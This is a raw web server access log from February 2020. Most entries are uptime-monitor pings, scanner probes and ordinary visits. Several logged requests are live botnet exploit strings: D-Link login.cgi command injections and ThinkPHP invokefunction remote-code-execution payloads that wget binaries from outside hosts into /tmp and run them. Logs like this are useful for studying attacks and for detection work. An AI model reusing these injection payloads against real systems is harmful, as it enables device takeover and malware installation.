49.68.246.198 - - [15/Feb/2020:08:30:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [15/Feb/2020:08:30:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:31:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:32:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [15/Feb/2020:08:34:12 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:08:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.242.183.3 - - [15/Feb/2020:08:36:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
221.125.44.233 - - [15/Feb/2020:08:36:35 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:08:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.73.183.133 - - [15/Feb/2020:08:37:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:08:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.78.180.120 - - [15/Feb/2020:08:38:16 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.78.180.120 - - [15/Feb/2020:08:38:17 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.78.180.120 - - [15/Feb/2020:08:38:17 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.78.180.120 - - [15/Feb/2020:08:38:22 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.78.180.120 - - [15/Feb/2020:08:38:23 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.78.180.120 - - [15/Feb/2020:08:38:24 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.78.180.120 - - [15/Feb/2020:08:38:24 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [15/Feb/2020:08:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.146.185.61 - - [15/Feb/2020:08:39:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:08:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.230.124.203 - - [15/Feb/2020:08:45:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:08:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [15/Feb/2020:08:48:50 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
92.254.184.183 - - [15/Feb/2020:08:49:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:08:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:08:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.153.91 - - [15/Feb/2020:09:02:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
45.152.6.58 - - [15/Feb/2020:09:02:32 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [15/Feb/2020:09:02:35 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [15/Feb/2020:09:02:36 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [15/Feb/2020:09:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [15/Feb/2020:09:02:44 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [15/Feb/2020:09:03:09 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [15/Feb/2020:09:03:26 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [15/Feb/2020:09:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.97.100.10 - - [15/Feb/2020:09:08:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:09:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.206.52.101 - - [15/Feb/2020:09:10:47 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
111.206.52.81 - - [15/Feb/2020:09:10:57 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
111.206.52.81 - - [15/Feb/2020:09:10:57 +0100] "\x16\x03" 501 317 "-" "-"
111.206.52.81 - - [15/Feb/2020:09:10:57 +0100] "" 501 315 "-" "-"
111.206.52.81 - - [15/Feb/2020:09:10:57 +0100] "" 501 315 "-" "-"
111.206.52.81 - - [15/Feb/2020:09:10:57 +0100] "get_info" 501 323 "-" "-"
111.206.52.81 - - [15/Feb/2020:09:10:57 +0100] "serverstatus" 501 327 "-" "-"
111.206.52.81 - - [15/Feb/2020:09:10:57 +0100] "stats" 501 320 "-" "-"
111.206.52.81 - - [15/Feb/2020:09:10:58 +0100] "OPTIONS sip:nm SIP/2.0" 400 329 "-" "-"
111.206.52.81 - - [15/Feb/2020:09:10:58 +0100] "GET /api HTTP/1.0" 404 304 "-" "-"
111.206.52.81 - - [15/Feb/2020:09:10:58 +0100] "HELP" 501 319 "-" "-"
111.206.52.81 - - [15/Feb/2020:09:10:58 +0100] "<" 501 319 "-" "-"
111.206.52.81 - - [15/Feb/2020:09:10:58 +0100] "ver" 501 318 "-" "-"
111.206.52.81 - - [15/Feb/2020:09:10:58 +0100] "GET /?CAVIT HTTP/1.1" 400 329 "-" "-"
111.206.52.81 - - [15/Feb/2020:09:10:58 +0100] "fox a 1 -1 fox hello" 400 396 "-" "-"
111.206.52.81 - - [15/Feb/2020:09:10:59 +0100] "NXSH-5.6.7" 501 325 "-" "-"
111.206.52.81 - - [15/Feb/2020:09:10:59 +0100] "init" 501 319 "-" "-"
111.206.52.81 - - [15/Feb/2020:09:11:00 +0100] "\x80\x9e\x01\x03\x01" 501 320 "-" "-"
111.206.52.81 - - [15/Feb/2020:09:11:00 +0100] "show info" 400 329 "-" "-"
111.206.52.81 - - [15/Feb/2020:09:11:00 +0100] "GET /server-info HTTP/1.1" 400 329 "-" "iPhoto/9.1.1  (Macintosh; N; PPC)"
111.206.52.81 - - [15/Feb/2020:09:11:00 +0100] "#ST" 501 318 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:01 +0100] "\x16\x03" 501 317 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:01 +0100] "GET /version HTTP/1.1" 400 329 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:02 +0100] "Subscribe" 501 324 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:02 +0100] "HELP" 501 319 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:02 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:02 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:02 +0100] "Query" 501 320 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:02 +0100] "EHLO" 501 319 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:02 +0100] "WWWOFFLE STATUS" 400 329 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:02 +0100] "LO_SERVER_CLIENT_PAIR" 501 336 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:03 +0100] "TSH " 501 318 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:03 +0100] "\x05\x04" 501 317 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:03 +0100] "GET /hazelcast/rest/cluster HTTP/1.0" 404 323 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:03 +0100] "CONNECT01 v09" 400 329 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:03 +0100] "*1" 501 317 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:03 +0100] "\x01default" 501 323 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:03 +0100] "0\x84" 501 317 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:03 +0100] "\x124" 501 317 "-" "-"
111.206.52.81 - - [15/Feb/2020:09:11:00 +0100] "\x1b%-12345X@PJL INFO ID" 400 329 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:03 +0100] "< NTP/1.2 >" 400 329 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:03 +0100] "< NTP/1.1 >" 400 329 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:03 +0100] "<?xml version=\"1.0\" ?><methodCall><methodName>nmap.probe</methodName></methodCall>" 400 329 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:03 +0100] "GET SERVER INFO" 400 329 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:02 +0100] "< NTP/1.0 >" 400 329 "-" "-"
111.206.52.101 - - [15/Feb/2020:09:11:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8"
212.91.246.72 - - [15/Feb/2020:09:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.196.98.78 - - [15/Feb/2020:09:11:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:09:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.137.182.73 - - [15/Feb/2020:09:13:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:09:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.189.11.188 - - [15/Feb/2020:09:15:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:09:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.233.66.116 - - [15/Feb/2020:09:22:19 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.233.66.116 - - [15/Feb/2020:09:22:19 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.233.66.116 - - [15/Feb/2020:09:22:23 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.233.66.116 - - [15/Feb/2020:09:22:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [15/Feb/2020:09:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [15/Feb/2020:09:23:01 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [15/Feb/2020:09:23:13 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [15/Feb/2020:09:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [15/Feb/2020:09:23:51 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [15/Feb/2020:09:23:55 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [15/Feb/2020:09:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [15/Feb/2020:09:26:51 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:09:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.251.74.31 - - [15/Feb/2020:09:28:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [15/Feb/2020:09:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.185.172.238 - - [15/Feb/2020:09:30:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:09:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.55.207.158 - - [15/Feb/2020:09:30:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:09:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.172.77.238 - - [15/Feb/2020:09:35:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
221.192.134.90 - - [15/Feb/2020:09:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "okhttp/3.6.0"
212.91.246.72 - - [15/Feb/2020:09:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [15/Feb/2020:09:41:24 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:09:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
